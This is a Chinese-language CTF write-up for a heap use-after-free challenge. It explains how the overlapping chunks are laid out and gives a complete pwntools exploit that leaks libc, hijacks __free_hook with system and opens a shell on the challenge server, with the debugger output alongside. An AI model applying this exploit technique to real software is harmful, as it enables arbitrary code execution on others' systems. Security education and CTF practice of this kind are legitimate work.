简单的、可当作模板题练习的UAF。
甚至我都没过多调试,通过画图就解决了大部分问题。
前言
UAF释放后重用,常见于free指针后指针未置Nullptr。
这就导致了原本的功能块还可以使用,而新分配的功能块又附加了额外的功能。利用就在此产生。
一、题目简述
还是经典的菜单题
要知道堆分配后(往往是结构体)的布局是怎么样的,一般add就可以看的很清楚
看看show函数
看看edit函数
看看delete函数
总结如下:结构体中具有一个具备读写权限的指针,而且存在UAF漏洞。如果我们利用漏洞能够控制该指针,就获得了任意地址读写的权柄(权柄两个字听起来很牛,最近在追诡秘)
二、解题步骤分析
我们这次倒着来分析:
- getshell有多种方法,如,gadget链、got表劫持、hook函数等
- 这里有一个读写权限的指针,假设能够任意指定这个指针的数值(指向的地址),那么got表劫持和hook函数都是不错的方案。以劫持_free_hook为例。
- 如何劫持这个指针?或许我们可以利用UAF。考虑到tcache先入后出、后入先出的“倒转”特性,以及结构体与堆动态分配内存的构成关系——是否可以通过精心构造出入free-malloc顺序,使得重新malloc的、作为content的chunk,因UAF在另一个结构体关系中,是具有ptr的结构体呢?
当依次free后,(这里写错了,内容域为0x20,chunk大小0x30)tcache中:
当我们add时,如果content的size刚好能分配0x20内容域(chunk大小0x30),那么原本作为结构体的chunk就被分为了content,而这里是UAF,相当于之前的身份还能被使用。语文不好,解释不清,上图:
因此,如果说5号结构体的ptr域是一个笔,是目光,那么通过6就能够修改这支笔写的位置、修改目光看去的方向——通过6来edit 5,实现“任意位置”;通过5来edit内容,实现“读和写”。因此,我们实际构成了这样一个链表:6->5->content,实现任意位置读写。
三、EXP
from pwn import *
from pwn import u64,p64
context(arch='amd64',log_level='debug')
# size,name,content
def add(size,name,content):
io.recvuntil(b'Choice: \n')
io.sendline(b'1')
io.sendlineafter(b'Size:\n',str(size).encode())
io.sendlineafter(b'Name: \n',name)
io.sendlineafter(b'Content:\n',content)
def delete(id):
io.recvuntil(b'Choice: \n')
io.sendline(b'2')
io.sendlineafter(b'idx:\n',str(id).encode())
def show(id):
io.recvuntil(b'Choice: \n')
io.sendline(b'3')
io.sendlineafter(b'idx:\n',str(id).encode())
def edit(id,payload):
io.recvuntil(b'Choice: \n')
io.sendline(b'4')
io.sendlineafter(b'idx:\n',str(id).encode())
io.send(payload)
# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28654)
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
if input()!='':
gdb.attach(io);input()
# test
'''
add(10,b'aaaa',b'aaaa')
show(0)
edit(0,b'bbbb')
show(0)
delete(0)
'''
### 通过unsorted-bin-leak泄露libc
# 填充tcache
for i in range(9):
add(0x90,b'/bin/sh\x00',b'abcd') # 0~8
for i in range(8):
delete(i)
# leak libc
show(7)
leak=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('leak: '+hex(leak))
main_arena=leak-96
success('main_arena: '+hex(main_arena))
libc_base=leak-0x3ebca0
success('libc: '+hex(libc_base))
input('[!]check!')
'''
0x30 [ 7]: 0x55e852d8b740 —▸ 0x55e852d8b670 —▸ 0x55e852d8b5a0 —▸ 0x55e852d8b4d0 —▸ 0x55e852d8b400 —▸ 0x55e852d8b330 —▸ 0x55e852d8b260 ◂— 0x0
0xa0 [ 7]: 0x55e852d8b770 —▸ 0x55e852d8b6a0 —▸ 0x55e852d8b5d0 —▸ 0x55e852d8b500 —▸ 0x55e852d8b430 —▸ 0x55e852d8b360 —▸ 0x55e852d8b290 ◂— 0x0
'''
### 通过UAF获得具有任意地址读写权限的指针
add(0x20,b'/bin/sh\x00',b'beef') # 9
input('[!]check!')
'''
Allocated chunk | PREV_INUSE
Addr: 0x55e852d8b660
Size: 0x30 (with flag bits: 0x31)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55e852d8b690
Size: 0xa0 (with flag bits: 0xa1)
fd: 0x55e852d8b5d0
Allocated chunk | PREV_INUSE
Addr: 0x55e852d8b730
Size: 0x30 (with flag bits: 0x31)
'''
free_hook=libc.sym['__free_hook']+libc_base
edit(9,0x10*b'\x00'+p64(free_hook))
input('[!]check!')
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ez_uaf
'''
one_gadget=libc_base+0x10a2fc
system=libc_base+libc.sym['system']
# edit(6,p64(one_gadget))
edit(5,p64(system))
delete(9)
# add(0x10,b'aaaa',b'aaaa')
# delete(1)
# add(0x20,b'aaaa',b'aaaa')
# add(0x20,b'aaaa',b'aaaa')
io.interactive()
总结
强烈建议手动画图!以至于第一次在大致写完遇到bug后,甚至仅通过画图审计代码来修改逻辑上的问题,成功实现利用!这说明利用思路是如此清晰。